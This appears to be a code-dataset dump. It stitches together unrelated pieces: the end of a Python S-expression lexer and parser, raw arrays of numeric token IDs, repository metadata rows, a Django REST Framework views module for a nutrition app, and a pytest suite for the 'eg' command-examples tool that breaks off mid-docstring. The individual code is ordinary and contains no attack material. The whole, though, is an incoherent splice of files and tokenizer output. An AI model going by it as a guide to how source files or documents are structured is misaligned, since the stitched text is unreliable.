while True:
c = self.next_char()
if c is None or c in "\n\r":
break
self.emit("comment")
return
def lex_block_comment(self):
level = 1
c2 = self.next_char(eof=False)
while level > 0:
c1 = c2
c2 = self.next_char(eof=False)
if c1 == ";" and c2 == ")":
level -= 1
elif c1 == "(" and c2 == ";":
level += 1
self.emit("comment")
def lex_string(self):
while True:
if self.accept("\\"):
self.next_char(eof=False) # Accept any excaped char
elif self.accept('"'):
self.emit("string")
break
else:
self.next_char(eof=False)
tokens2ignore = ("comment",)
def filtered(tokens):
for token in tokens:
if token.typ not in tokens2ignore:
yield token
class SExpressionParser(RecursiveDescentParser):
""" This class can be used to parse S-expressions. """
def parse(self, tokens):
self.init_lexer(tokens)
expressions = []
while not self.at_end:
expressions.append(self.parse_sexpr())
return expressions
def parse_sexpr(self) -> tuple:
values = []
self.consume("(")
while self.peek != ")":
if self.at_end:
self.error("Unexpected end of file")
elif self.peek == "(":
val = self.parse_sexpr()
else:
val = self.consume().val
values.append(val)
self.consume(")")
return tuple(values)
def parse_sexpr(text: str, multiple=False) -> tuple:
"""Parse S-expression given as string.
Returns a tuple that represents the S-expression.
"""
assert isinstance(text, str)
expressions = parse_multiple_sexpr(text)
if len(expressions) != 1:
raise ValueError("Expected a single S-expression")
return expressions[0]
def parse_multiple_sexpr(text: str) -> tuple:
assert isinstance(text, str)
# Check start ok
tokens = filtered(tokenize_sexpr(text))
parser = SExpressionParser()
return parser.parse(tokens)
| [
1,
529,
276,
1112,
420,
29958,
14800,
295,
29890,
7100,
1171,
29914,
407,
455,
29966,
9507,
29958,
407,
455,
29914,
3893,
29914,
14167,
558,
29889,
2272,
13,
15945,
29908,
6680,
2877,
304,
5993,
675,
322,
6088,
317,
29899,
17073,
1080,
29889,
13,
15945,
29908,
13,
13,
5215,
12013,
13,
3166,
869,
9435,
1053,
7562,
6508,
13,
3166,
869,
8504,
29889,
3179,
2506,
261,
1053,
5166,
29931,
735,
261,
5160,
13,
3166,
869,
8504,
29889,
3757,
1295,
2347,
267,
1760,
1053,
3599,
25397,
4002,
1760,
11726,
13,
13,
13,
1649,
497,
1649,
353,
4852,
5510,
29918,
14167,
558,
613,
29897,
13,
13,
13,
1753,
5993,
675,
29918,
14167,
558,
29898,
726,
1125,
13,
1678,
9995,
21575,
393,
16785,
18897,
363,
313,
29956,
3289,
29924,
29899,
23712,
29897,
317,
29899,
17073,
1080,
29889,
13,
13,
1678,
10878,
817,
664,
304,
7738,
18897,
480,
1573,
363,
321,
29889,
29887,
29889,
5877,
12141,
292,
29892,
13,
1678,
541,
1781,
3307,
363,
1286,
29892,
304,
1207,
278,
13812,
664,
29889,
13,
1678,
9995,
13,
1678,
10422,
353,
376,
3026,
13,
1678,
285,
353,
12013,
29889,
1231,
5971,
29898,
726,
29897,
13,
1678,
19566,
261,
353,
317,
10960,
29931,
735,
261,
580,
13,
1678,
736,
19566,
261,
29889,
6979,
675,
29898,
29888,
29892,
10422,
29897,
13,
13,
13,
1753,
1653,
29918,
305,
18801,
29898,
29888,
1125,
13,
1678,
9995,
6204,
263,
5665,
310,
521,
18801,
9995,
13,
1678,
363,
1948,
29892,
1196,
297,
26985,
29898,
29888,
29892,
29871,
29896,
1125,
13,
4706,
7709,
313,
798,
29892,
29871,
29896,
29892,
1196,
29897,
13,
13,
13,
1990,
317,
10960,
29931,
735,
261,
29898,
3481,
29931,
735,
261,
5160,
1125,
13,
1678,
9995,
15045,
936,
885,
7310,
363,
269,
12241,
9995,
13,
13,
1678,
822,
5993,
675,
29898,
1311,
29892,
285,
29892,
10422,
1125,
13,
4706,
521,
18801,
353,
1653,
29918,
305,
18801,
29898,
29888,
29897,
13,
4706,
363,
5993,
297,
2428,
2141,
6979,
675,
29898,
9507,
29892,
521,
18801,
29892,
1583,
29889,
2506,
29918,
14167,
558,
1125,
13,
9651,
396,
1596,
29898,
6979,
29897,
13,
9651,
396,
3382,
1598,
777,
1819,
310,
18897,
29901,
13,
9651,
565,
5993,
29889,
22449,
1275,
376,
1807,
1115,
13,
18884,
5993,
29889,
791,
353,
5993,
29889,
791,
29961,
29896,
13018,
29896,
29962,
29871,
396,
624,
6472,
310,
18793,
29915,
13,
9651,
25342,
5993,
29889,
22449,
1275,
376,
1742,
1115,
13,
18884,
565,
5993,
29889,
791,
29961,
29900,
29962,
297,
11663,
29974,
29889,
29900,
29896,
29906,
29941,
29946,
29945,
29953,
29955,
29947,
29929,
29900,
1115,
29871,
396,
5505,
263,
1353,
13,
462,
1678,
1018,
29901,
13,
462,
4706,
565,
376,
1213,
297,
5993,
29889,
791,
470,
376,
29872,
29908,
297,
5993,
29889,
791,
29889,
13609,
7295,
13,
462,
9651,
5993,
29889,
791,
353,
5785,
29898,
6979,
29889,
791,
29897,
13,
462,
4706,
25342,
5993,
29889,
791,
29889,
27382,
2541,
703,
29900,
29916,
29908,
1125,
13,
462,
9651,
5993,
29889,
791,
353,
938,
29898,
6979,
29889,
791,
29892,
29871,
29896,
29953,
29897,
13,
462,
4706,
1683,
29901,
13,
462,
9651,
5993,
29889,
791,
353,
938,
29898,
6979,
29889,
791,
29897,
13,
462,
1678,
5174,
7865,
2392,
29901,
13,
462,
4706,
1209,
13,
9651,
7709,
5993,
13,
13,
1678,
822,
19566,
29918,
14167,
558,
29898,
1311,
1125,
13,
4706,
274,
353,
1583,
29889,
4622,
29918,
3090,
580,
13,
4706,
565,
274,
338,
6213,
29901,
13,
9651,
736,
29871,
396,
382,
9800,
13,
13,
4706,
565,
274,
1275,
376,
703,
29901,
13,
9651,
565,
1583,
29889,
16044,
703,
15458,
1125,
13,
18884,
1583,
29889,
2506,
29918,
1271,
29918,
9342,
580,
13,
9651,
1683,
29901,
13,
18884,
1583,
29889,
21976,
703,
703,
29897,
13,
4706,
25342,
274,
1275,
12159,
1115,
13,
9651,
565,
1583,
29889,
16044,
703,
15458,
1125,
13,
18884,
1583,
29889,
2506,
29918,
1220,
29918,
9342,
580,
13,
9651,
1683,
29901,
13,
18884,
1583,
29889,
2506,
29918,
8678,
580,
13,
4706,
25342,
274,
1275,
16521,
1115,
13,
9651,
1583,
29889,
21976,
703,
25760,
13,
4706,
25342,
274,
1275,
18793,
2396,
13,
9651,
1583,
29889,
2506,
29918,
1807,
580,
13,
4706,
25342,
274,
297,
376,
320,
29873,
29905,
29878,
29905,
29876,
1115,
13,
9651,
1583,
29889,
17281,
580,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
2506,
29918,
8678,
580,
13,
13,
4706,
736,
1583,
29889,
2506,
29918,
14167,
558,
13,
13,
1678,
822,
19566,
29918,
8678,
29898,
1311,
1125,
13,
4706,
1550,
5852,
29901,
13,
9651,
274,
353,
1583,
29889,
4622,
29918,
3090,
580,
13,
9651,
565,
274,
338,
6213,
29901,
13,
18884,
2867,
13,
9651,
25342,
274,
297,
376,
580,
320,
29873,
29905,
29878,
29905,
29876,
29936,
1115,
13,
18884,
1583,
29889,
1627,
786,
29918,
3090,
29898,
29883,
29897,
13,
18884,
2867,
13,
4706,
1583,
29889,
21976,
703,
1742,
1159,
13,
13,
1678,
822,
19566,
29918,
1220,
29918,
9342,
29898,
1311,
1125,
13,
4706,
9995,
382,
271,
599,
4890,
2745,
1095,
310,
1196,
9995,
13,
4706,
1550,
5852,
29901,
13,
9651,
274,
353,
1583,
29889,
4622,
29918,
3090,
580,
13,
9651,
565,
274,
338,
6213,
470,
274,
297,
6634,
29876,
29905,
29878,
1115,
13,
18884,
2867,
13,
4706,
1583,
29889,
21976,
703,
9342,
1159,
13,
4706,
736,
13,
13,
1678,
822,
19566,
29918,
1271,
29918,
9342,
29898,
1311,
1125,
13,
4706,
3233,
353,
29871,
29896,
13,
4706,
274,
29906,
353,
1583,
29889,
4622,
29918,
3090,
29898,
29872,
974,
29922,
8824,
29897,
13,
4706,
1550,
3233,
1405,
29871,
29900,
29901,
13,
9651,
274,
29896,
353,
274,
29906,
13,
9651,
274,
29906,
353,
1583,
29889,
4622,
29918,
3090,
29898,
29872,
974,
29922,
8824,
29897,
13,
9651,
565,
274,
29896,
1275,
12159,
29908,
322,
274,
29906,
1275,
16521,
1115,
13,
18884,
3233,
22361,
29871,
29896,
13,
9651,
25342,
274,
29896,
1275,
376,
703,
322,
274,
29906,
1275,
12159,
1115,
13,
18884,
3233,
4619,
29871,
29896,
13,
4706,
1583,
29889,
21976,
703,
9342,
1159,
13,
13,
1678,
822,
19566,
29918,
1807,
29898,
1311,
1125,
13,
4706,
1550,
5852,
29901,
13,
9651,
565,
1583,
29889,
16044,
703,
1966,
29908,
1125,
13,
18884,
1583,
29889,
4622,
29918,
3090,
29898,
29872,
974,
29922,
8824,
29897,
29871,
396,
29848,
738,
429,
5030,
287,
1373,
13,
9651,
25342,
1583,
29889,
16044,
877,
29908,
29374,
13,
18884,
1583,
29889,
21976,
703,
1807,
1159,
13,
18884,
2867,
13,
9651,
1683,
29901,
13,
18884,
1583,
29889,
4622,
29918,
3090,
29898,
29872,
974,
29922,
8824,
29897,
13,
13,
13,
517,
12360,
29906,
17281,
353,
4852,
9342,
613,
29897,
13,
13,
13,
1753,
22289,
29898,
517,
12360,
1125,
13,
1678,
363,
5993,
297,
18897,
29901,
13,
4706,
565,
5993,
29889,
22449,
451,
297,
18897,
29906,
17281,
29901,
13,
9651,
7709,
5993,
13,
13,
13,
1990,
317,
10960,
11726,
29898,
4789,
25397,
4002,
1760,
11726,
1125,
13,
1678,
9995,
910,
770,
508,
367,
1304,
304,
6088,
317,
29899,
17073,
1080,
29889,
9995,
13,
13,
1678,
822,
6088,
29898,
1311,
29892,
18897,
1125,
13,
4706,
1583,
29889,
2344,
29918,
2506,
261,
29898,
517,
12360,
29897,
13,
4706,
12241,
353,
5159,
13,
4706,
1550,
451,
1583,
29889,
271,
29918,
355,
29901,
13,
9651,
12241,
29889,
4397,
29898,
1311,
29889,
5510,
29918,
14167,
558,
3101,
13,
4706,
736,
12241,
13,
13,
1678,
822,
6088,
29918,
14167,
558,
29898,
1311,
29897,
1599,
18761,
29901,
13,
4706,
1819,
353,
5159,
13,
4706,
1583,
29889,
3200,
2017,
703,
703,
29897,
13,
4706,
1550,
1583,
29889,
412,
1416,
2804,
16521,
1115,
13,
9651,
565,
1583,
29889,
271,
29918,
355,
29901,
13,
18884,
1583,
29889,
2704,
703,
29965,
13996,
6021,
1095,
310,
934,
1159,
13,
9651,
25342,
1583,
29889,
412,
1416,
1275,
376,
703,
29901,
13,
18884,
659,
353,
1583,
29889,
5510,
29918,
14167,
558,
580,
13,
9651,
1683,
29901,
13,
18884,
659,
353,
1583,
29889,
3200,
2017,
2141,
791,
13,
9651,
1819,
29889,
4397,
29898,
791,
29897,
13,
4706,
1583,
29889,
3200,
2017,
703,
25760,
13,
4706,
736,
18761,
29898,
5975,
29897,
13,
13,
13,
1753,
6088,
29918,
14167,
558,
29898,
726,
29901,
851,
29892,
2999,
29922,
8824,
29897,
1599,
18761,
29901,
13,
1678,
9995,
12914,
317,
29899,
17471,
2183,
408,
1347,
29889,
13,
1678,
16969,
263,
18761,
393,
11524,
278,
317,
29899,
17471,
29889,
13,
1678,
9995,
13,
1678,
4974,
338,
8758,
29898,
726,
29892,
851,
29897,
13,
13,
1678,
12241,
353,
6088,
29918,
20787,
29918,
14167,
558,
29898,
726,
29897,
13,
1678,
565,
7431,
29898,
17073,
1080,
29897,
2804,
29871,
29896,
29901,
13,
4706,
12020,
7865,
2392,
703,
1252,
6021,
263,
2323,
317,
29899,
17471,
1159,
13,
1678,
736,
12241,
29961,
29900,
29962,
13,
13,
13,
1753,
6088,
29918,
20787,
29918,
14167,
558,
29898,
726,
29901,
851,
29897,
1599,
18761,
29901,
13,
1678,
4974,
338,
8758,
29898,
726,
29892,
851,
29897,
13,
1678,
396,
5399,
1369,
3431,
13,
1678,
18897,
353,
22289,
29898,
6979,
675,
29918,
14167,
558,
29898,
726,
876,
13,
1678,
13812,
353,
317,
10960,
11726,
580,
13,
1678,
736,
13812,
29889,
5510,
29898,
517,
12360,
29897,
13,
2
] |
api/views.py | bcunhasa/nutriodonto | 0 | 96142 | <reponame>bcunhasa/nutriodonto
from rest_framework import generics, permissions, status
from rest_framework.authtoken.views import ObtainAuthToken
from rest_framework.authtoken.models import Token
from rest_framework.response import Response
from api.serializers import *
from administracao.models import *
from gerencia.models import *
class ClienteAutenticacaoAPIView(ObtainAuthToken):
"""Autentica um usuário"""
def post(self, request, *args, **kwargs):
response = {
'sucesso': False,
'mensagem': ''
}
authentication = super(ClienteAutenticacaoAPIView, self).post(request, *args, **kwargs)
# Define o conteudo da resposta em caso de autenticacao com sucesso
if authentication.status_code == status.HTTP_200_OK:
token = Token.objects.get(key=authentication.data['token'])
response.update(token=token.key)
response.update(sucesso=True)
return Response(response)
class CargaInicialAPIView(generics.ListAPIView):
"""View para retornar os dados para o carregamento inicial"""
permission_classes = [permissions.IsAuthenticated]
queryset = Campanha.objects.all()
serializer_class = CampanhaSerializer
class AtualizaAlunoAPIView(generics.UpdateAPIView):
"""View para editar os dados do perfil de um cliente"""
permission_classes = [permissions.IsAuthenticated]
queryset = Aluno.objects.all()
serializer_class = AlunoSerializer
# URLs para o exemplo dado no curso de Ionic
class NoticiasAPIView(generics.ListAPIView):
"""Lista todas as notícias"""
permission_classes = [permissions.IsAuthenticated]
queryset = Noticia.objects.all()
serializer_class = NoticiaSerializer
class CriaNoticiaAPIView(generics.CreateAPIView):
"""Cria uma nova notícia"""
permission_classes = [permissions.IsAuthenticated]
queryset = Noticia.objects.all()
serializer_class = NoticiaSerializer
class AtualizaNoticiaAPIView(generics.UpdateAPIView):
"""Atualiza uma notícia"""
permission_classes = [permissions.IsAuthenticated]
queryset = Noticia.objects.all()
serializer_class = NoticiaSerializer
| [
1,
529,
276,
1112,
420,
29958,
12328,
348,
5349,
29874,
29914,
21305,
374,
397,
10268,
13,
3166,
1791,
29918,
4468,
1053,
1176,
1199,
29892,
11239,
29892,
4660,
13,
3166,
1791,
29918,
4468,
29889,
1300,
400,
4476,
29889,
7406,
1053,
4250,
2408,
6444,
6066,
13,
3166,
1791,
29918,
4468,
29889,
1300,
400,
4476,
29889,
9794,
1053,
25159,
13,
3166,
1791,
29918,
4468,
29889,
5327,
1053,
13291,
13,
13,
3166,
7882,
29889,
15550,
19427,
1053,
334,
13,
3166,
28777,
945,
6241,
29889,
9794,
1053,
334,
13,
3166,
330,
4578,
1512,
29889,
9794,
1053,
334,
13,
13,
13,
1990,
12477,
29872,
6147,
4173,
562,
6241,
8787,
1043,
29898,
6039,
2408,
6444,
6066,
1125,
13,
1678,
9995,
6147,
296,
983,
1922,
502,
29884,
12288,
15945,
29908,
13,
1678,
822,
1400,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
2933,
353,
426,
13,
9651,
525,
2146,
985,
29877,
2396,
7700,
29892,
13,
9651,
525,
29885,
575,
13904,
2396,
6629,
13,
4706,
500,
13,
4706,
10760,
353,
2428,
29898,
4032,
29872,
6147,
4173,
562,
6241,
8787,
1043,
29892,
1583,
467,
2490,
29898,
3827,
29892,
334,
5085,
29892,
3579,
19290,
29897,
13,
13,
4706,
396,
22402,
288,
21030,
5333,
1146,
620,
27363,
953,
11986,
316,
1120,
4173,
562,
6241,
419,
480,
985,
29877,
13,
4706,
565,
10760,
29889,
4882,
29918,
401,
1275,
4660,
29889,
10493,
29918,
29906,
29900,
29900,
29918,
8949,
29901,
13,
9651,
5993,
353,
25159,
29889,
12650,
29889,
657,
29898,
1989,
29922,
23055,
29889,
1272,
1839,
6979,
11287,
13,
9651,
2933,
29889,
5504,
29898,
6979,
29922,
6979,
29889,
1989,
29897,
13,
9651,
2933,
29889,
5504,
29898,
2146,
985,
29877,
29922,
5574,
29897,
13,
13,
4706,
736,
13291,
29898,
5327,
29897,
13,
13,
13,
1990,
315,
21899,
797,
5611,
8787,
1043,
29898,
4738,
1199,
29889,
1293,
8787,
1043,
1125,
13,
1678,
9995,
1043,
1702,
3240,
1398,
279,
2897,
270,
2255,
1702,
288,
1559,
1727,
4487,
24879,
15945,
29908,
13,
1678,
10751,
29918,
13203,
353,
518,
17858,
6847,
29889,
3624,
6444,
4173,
630,
29962,
13,
1678,
2346,
842,
353,
7259,
29014,
29889,
12650,
29889,
497,
580,
13,
1678,
7797,
3950,
29918,
1990,
353,
7259,
29014,
17679,
13,
13,
13,
1990,
2180,
950,
6619,
2499,
9447,
8787,
1043,
29898,
4738,
1199,
29889,
6422,
8787,
1043,
1125,
13,
1678,
9995,
1043,
1702,
1226,
3673,
2897,
270,
2255,
437,
639,
1777,
316,
1922,
3132,
29872,
15945,
29908,
13,
1678,
10751,
29918,
13203,
353,
518,
17858,
6847,
29889,
3624,
6444,
4173,
630,
29962,
13,
1678,
2346,
842,
353,
838,
9447,
29889,
12650,
29889,
497,
580,
13,
1678,
7797,
3950,
29918,
1990,
353,
838,
9447,
17679,
13,
13,
13,
29937,
24295,
1702,
288,
429,
13141,
270,
912,
694,
3151,
578,
316,
306,
8927,
13,
13,
1990,
2216,
1654,
294,
8787,
1043,
29898,
4738,
1199,
29889,
1293,
8787,
1043,
1125,
13,
1678,
9995,
1293,
29874,
17824,
408,
451,
29983,
3465,
15945,
29908,
13,
1678,
10751,
29918,
13203,
353,
518,
17858,
6847,
29889,
3624,
6444,
4173,
630,
29962,
13,
1678,
2346,
842,
353,
2216,
11477,
29889,
12650,
29889,
497,
580,
13,
1678,
7797,
3950,
29918,
1990,
353,
2216,
11477,
17679,
13,
13,
1990,
315,
2849,
3664,
11477,
8787,
1043,
29898,
4738,
1199,
29889,
4391,
8787,
1043,
1125,
13,
1678,
9995,
29907,
2849,
3672,
26121,
451,
29983,
1512,
15945,
29908,
13,
1678,
10751,
29918,
13203,
353,
518,
17858,
6847,
29889,
3624,
6444,
4173,
630,
29962,
13,
1678,
2346,
842,
353,
2216,
11477,
29889,
12650,
29889,
497,
580,
13,
1678,
7797,
3950,
29918,
1990,
353,
2216,
11477,
17679,
13,
13,
1990,
2180,
950,
6619,
3664,
11477,
8787,
1043,
29898,
4738,
1199,
29889,
6422,
8787,
1043,
1125,
13,
1678,
9995,
4178,
950,
6619,
3672,
451,
29983,
1512,
15945,
29908,
13,
1678,
10751,
29918,
13203,
353,
518,
17858,
6847,
29889,
3624,
6444,
4173,
630,
29962,
13,
1678,
2346,
842,
353,
2216,
11477,
29889,
12650,
29889,
497,
580,
13,
1678,
7797,
3950,
29918,
1990,
353,
2216,
11477,
17679,
13,
2
] |
test/util_test.py | sbienkow/eg | 1,389 | 44966 | import json
import os
from eg import config
from eg import substitute
from eg import util
from mock import Mock
from mock import patch
PATH_UNSQUEEZED_FILE = os.path.join(
'test',
'assets',
'pwd_unsqueezed.md'
)
PATH_SQUEEZED_FILE = os.path.join(
'test',
'assets',
'pwd_squeezed.md'
)
def _create_config(
examples_dir=None,
custom_dir=None,
color_config=None,
use_color=True,
pager_cmd=None,
editor_cmd=None,
squeeze=False,
subs=None
):
"""
Create a config.Config object with default values for expediency in
testing.
"""
return config.Config(
examples_dir=examples_dir,
custom_dir=custom_dir,
color_config=color_config,
use_color=use_color,
pager_cmd=pager_cmd,
editor_cmd=editor_cmd,
squeeze=squeeze,
subs=subs
)
@patch('os.walk')
def test_get_file_paths_for_program_with_single(mock_walk):
program = 'cp'
examples_dir = '/Users/tyrion'
program_file = program + util.EXAMPLE_FILE_SUFFIX
expected = ['/Users/tyrion/cp.md']
mock_walk.return_value = [
[examples_dir, [], [program_file, 'cp.txt', 'other_file.md']],
]
actual = util.get_file_paths_for_program(program, examples_dir)
assert actual == expected
mock_walk.assert_called_once_with(examples_dir)
@patch('os.walk')
def test_get_file_paths_for_program_with_nested(mock_walk):
program = 'cp'
examples_dir = '/Users/tyrion'
program_file = 'cp.md'
mock_walk.return_value = [
[
examples_dir,
['dirA', 'dirB'],
[program_file, 'cp.txt', 'other_file.md'],
],
[
examples_dir + '/dirA',
['dirA-child'],
[program_file, 'bad.md'],
],
[
examples_dir + '/dirA/dirA-child',
[],
['bad.md', program_file, 'wtf.md'],
],
[
examples_dir + '/dirB',
[],
['foo.md', program_file],
],
]
expected = [
'/Users/tyrion/cp.md',
'/Users/tyrion/dirA/cp.md',
'/Users/tyrion/dirA/dirA-child/cp.md',
'/Users/tyrion/dirB/cp.md',
]
actual = util.get_file_paths_for_program(program, examples_dir)
assert actual == expected
mock_walk.assert_called_once_with(examples_dir)
@patch('os.walk')
def test_get_file_paths_for_program_with_none(mock_walk):
expected = []
mock_walk.return_value = []
actual = util.get_file_paths_for_program('cp', '/Users/tyrion')
assert actual == expected
mock_walk.assert_called_once_with('/Users/tyrion')
@patch('os.walk')
def test_get_file_paths_for_program_with_no_dir(mock_walk):
assert util.get_file_paths_for_program('cp', None) == []
@patch('eg.util.page_string')
@patch('eg.util.get_formatted_contents')
@patch('eg.util.get_contents_from_files')
@patch('eg.util.get_resolved_program')
def test_handle_program_no_entries(
mock_resolve_program,
mock_get_contents,
mock_format,
mock_page_string,
):
"""
We should do the right thing if there are no entries for a given program.
"""
program = 'cp'
test_config = _create_config()
mock_resolve_program.return_value = program
util.handle_program(program, test_config)
mock_resolve_program.assert_called_once_with(
program,
test_config
)
# We should have aborted and not called any of the
# other methods.
assert mock_get_contents.call_count == 0
assert mock_format.call_count == 0
assert mock_page_string.call_count == 0
@patch('eg.util.get_resolved_program')
@patch('eg.util.get_contents_from_files')
@patch('eg.util.get_file_paths_for_program')
@patch('eg.util.get_formatted_contents')
@patch('eg.util.page_string')
def test_handle_program_finds_paths_and_calls_open_pager_no_alias(
mock_page,
mock_format,
mock_get_paths,
mock_get_contents,
mock_resolve,
):
"""
If there are entries for the program, handle_program needs to get the
paths, get the contents, format the contents, and page the resulting
string.
"""
program = 'mv'
examples_dir = 'test-eg-dir'
custom_dir = 'test-custom-dir'
color_config = None
use_color = False
pager_cmd = 'foo bar'
squeeze = False
subs = ['foo', 'bar']
file_contents = 'I am the contents of mv.md.'
formatted_contents = 'and I am the formatted contents of mv.md.'
test_config = _create_config(
examples_dir=examples_dir,
custom_dir=custom_dir,
color_config=color_config,
use_color=use_color,
pager_cmd=pager_cmd,
squeeze=squeeze,
subs=subs
)
default_paths = ['test-eg-dir/mv.md', 'test-eg-dir/foo/mv.md']
custom_paths = ['test-custom-dir/mv.md', 'test-custom-dir/bar.md']
def return_correct_path(*args, **kwargs):
program_param = args[0]
dir_param = args[1]
if program_param != program:
raise NameError('expected ' + program + ', got ' + program_param)
if dir_param == examples_dir:
return default_paths
elif dir_param == custom_dir:
return custom_paths
else:
raise NameError(
'got ' +
dir_param +
', expected ' +
examples_dir +
' or ' +
custom_dir)
mock_format.return_value = formatted_contents
mock_get_paths.side_effect=return_correct_path
mock_get_contents.return_value = file_contents
mock_resolve.return_value = program
util.handle_program(program, test_config)
mock_resolve.assert_called_once_with(
program,
test_config
)
mock_get_paths.assert_any_call(
program,
examples_dir
)
mock_get_paths.assert_any_call(
program,
custom_dir,
)
mock_get_contents.assert_called_once_with(
custom_paths[0],
custom_paths[1],
default_paths[0],
default_paths[1],
)
mock_format.assert_called_once_with(
file_contents,
use_color=test_config.use_color,
color_config=test_config.color_config,
squeeze=test_config.squeeze,
subs=test_config.subs
)
mock_page.assert_called_once_with(
formatted_contents,
test_config.pager_cmd
)
@patch('eg.util.get_resolved_program')
@patch('eg.util.get_contents_from_files')
@patch('eg.util.get_file_paths_for_program')
@patch('eg.util.get_formatted_contents')
@patch('eg.util.page_string')
def test_handle_program_finds_paths_and_calls_open_pager_with_alias(
mock_page,
mock_format,
mock_get_paths,
mock_get_contents,
mock_resolve,
):
"""
If there are entries for the program, handle_program needs to get the
paths, get the contents, format the contents, and page the resulting
string.
"""
alias_for_program = 'link'
resolved_program = 'ln'
examples_dir = 'test-eg-dir'
custom_dir = 'test-custom-dir'
color_config = None
use_color = False
pager_cmd = 'foo bar'
squeeze = False
subs = ['foo', 'bar']
file_contents = 'I am the contents of ln.md.'
formatted_contents = 'and I am the formatted contents of ln.md.'
test_config = _create_config(
examples_dir=examples_dir,
custom_dir=custom_dir,
color_config=color_config,
use_color=use_color,
pager_cmd=pager_cmd,
squeeze=squeeze,
subs=subs
)
default_paths = ['test-eg-dir/ln.md']
custom_paths = ['test-custom-dir/ln.md']
def return_correct_path(*args, **kwargs):
program_param = args[0]
dir_param = args[1]
if program_param != resolved_program:
raise NameError(
'expected ' +
resolved_program +
', got ' +
program_param
)
if dir_param == examples_dir:
return default_paths
elif dir_param == custom_dir:
return custom_paths
else:
raise NameError(
'got ' +
dir_param +
', expected ' +
examples_dir +
' or ' +
custom_dir)
mock_format.return_value = formatted_contents
mock_get_paths.side_effect = return_correct_path
mock_get_contents.return_value = file_contents
mock_resolve.return_value = resolved_program
util.handle_program(
alias_for_program,
test_config
)
mock_resolve.assert_called_once_with(
alias_for_program,
test_config
)
mock_get_paths.assert_any_call(
resolved_program,
examples_dir
)
mock_get_paths.assert_any_call(
resolved_program,
custom_dir,
)
mock_get_contents.assert_called_once_with(
custom_paths[0],
default_paths[0]
)
mock_format.assert_called_once_with(
file_contents,
use_color=test_config.use_color,
color_config=test_config.color_config,
squeeze=test_config.squeeze,
subs=test_config.subs
)
mock_page.assert_called_once_with(
formatted_contents,
test_config.pager_cmd
)
def test_get_list_of_all_supported_commands(tmpdir):
dir_example = tmpdir.mkdir('examples')
dir_custom = tmpdir.mkdir('custom')
config = _create_config(
examples_dir=str(dir_example),
custom_dir=str(dir_custom),
)
expected = [
'a-only-default',
'b-both *',
'c-only-custom +',
'd-only-custom-nested +',
'e-only-default-nested',
'f-default-custom-nested',
'g-both-different-levels *',
't-a-only-default-alias -> a-only-default',
'u-b-both-alias -> b-both *',
'v-c-only-custom-alias -> c-only-custom +'
]
aliases = {
't-a-only-default-alias': 'a-only-default',
'u-b-both-alias': 'b-both',
'v-c-only-custom-alias': 'c-only-custom'
}
# Make the directory structure we expect.
dir_example_nested = dir_example.mkdir('default-nested')
dir_custom_nested = dir_custom.mkdir('custom-nested')
dir_example.join('a-only-default.md').write('foo')
dir_example.join('b-both.md').write('foo')
dir_custom.join('b-both.md').write('foo')
dir_custom.join('c-only-custom.md').write('foo')
dir_custom_nested.join('d-only-custom-nested.md').write('foo')
dir_example_nested.join('e-only-default-nested.md').write('foo')
dir_example_nested.join('f-default-custom-nested.md').write('foo')
dir_example.join('g-both-different-levels.md').write('foo')
dir_custom_nested.join('g-both-different-levels.md').write('foo')
# Use the 'with' context manager rather than the @decorator, because the
# tmpdir fixture doesn't play nice with the decorator.
with patch('eg.util.get_alias_dict') as mock_get_alias:
mock_get_alias.return_value = aliases
actual = util.get_list_of_all_supported_commands(config)
assert actual == expected
mock_get_alias.assert_called_once_with(config)
def test_list_supported_programs_fails_gracefully_if_no_dirs():
test_config = _create_config()
actual = util.get_list_of_all_supported_commands(test_config)
target = []
assert actual == target
def test_calls_pipepager_if_not_less():
"""
We're special casing less a bit, as it is the default value, so if a custom
command has been set that is NOT less, we should call pipepager straight
away.
"""
_helper_assert_about_pager('page me plz', 'cat', False)
def test_calls_fallback_pager_if_none():
"""
If pager_cmd is None, we should just use the fallback pager.
"""
_helper_assert_about_pager('page me plz', None, True)
def test_calls_pipepager_if_less():
"""
We should call pipepager if we ask to use less and less is installed on the
machine.
"""
_helper_assert_about_pager('a fancy value to page', 'less -R', False)
def test_calls_fallback_if_cmd_is_flag_string():
"""
We are using a flag string to indicate if we should use the fallback pager.
"""
_helper_assert_about_pager(
'page via fallback',
util.FLAG_FALLBACK,
True
)
@patch('pydoc.pager')
@patch('pydoc.pipepager')
def _helper_assert_about_pager(
str_to_page,
pager_cmd,
use_fallback,
pipepager,
default_pager,
):
"""
Help with asserting about pager.
str_to_page: what you're paging
pager_cmd: the string you're passing to pipepager (or None)
use_default: false if we should actually use pydoc.pipepager, true if we
instead are going to fallback to pydoc.pager
"""
util.page_string(str_to_page, pager_cmd)
if use_fallback:
default_pager.assert_called_once_with(str_to_page)
assert pipepager.call_count == 0
else:
assert default_pager.call_count == 0
pipepager.assert_called_once_with(
str_to_page,
cmd=pager_cmd
)
@patch('eg.util.pydoc.pipepager', side_effect=KeyboardInterrupt)
def test_page_string_excepts_keyboard_interrupt_if_not_less(pipepager_mock):
"""
Do not fail when user hits ctrl-c while in pager.
"""
try:
util.page_string('page me plz', 'cat')
except KeyboardInterrupt:
raise AssertionError('Should not have got this far')
pipepager_mock.assert_called_once_with('page me plz', cmd='cat')
@patch('eg.util.pydoc.pager', side_effect=KeyboardInterrupt)
def test_page_string_excepts_keyboard_interrupt_if_none(pager_mock):
"""
Do not fail when user hits ctrl-c while in pipepager.
"""
try:
util.page_string('page me plz', None)
except KeyboardInterrupt:
raise AssertionError('Should not have got this far')
pager_mock.assert_called_once_with('page me plz')
def test_get_contents_from_files_handles_none():
"""
Empty string if no files.
"""
_helper_assert_file_contents(
[],
''
)
def test_get_contents_from_files_handles_one():
file_infos = [
{
'path': 'test/path',
'contents': 'contents of file'
}
]
combined_contents = 'contents of file'
_helper_assert_file_contents(
file_infos,
combined_contents
)
def test_get_contents_from_files_handles_multiple():
file_infos = [
{
'path': 'path/1',
'contents': 'foo\n'
},
{
'path': 'path/2/foo',
'contents': 'bar\n'
},
{
'path': 'another/path',
'contents': 'baz'
}
]
combined_contents = 'foo\nbar\nbaz'
_helper_assert_file_contents(
file_infos,
combined_contents
)
@patch('eg.util._get_contents_of_file')
def _helper_assert_file_contents(
file_infos,
target_contents,
get_contents_mock,
):
"""
Helper method to assert things about the get_contents_from_files method.
Does not actually hit the disk.
file_infos: array of { path, contents } dicts representing files. Array so
that we can assert proper order calling
target_contents: the final combined contents that should be returned by the
get_contents_from_files method.
"""
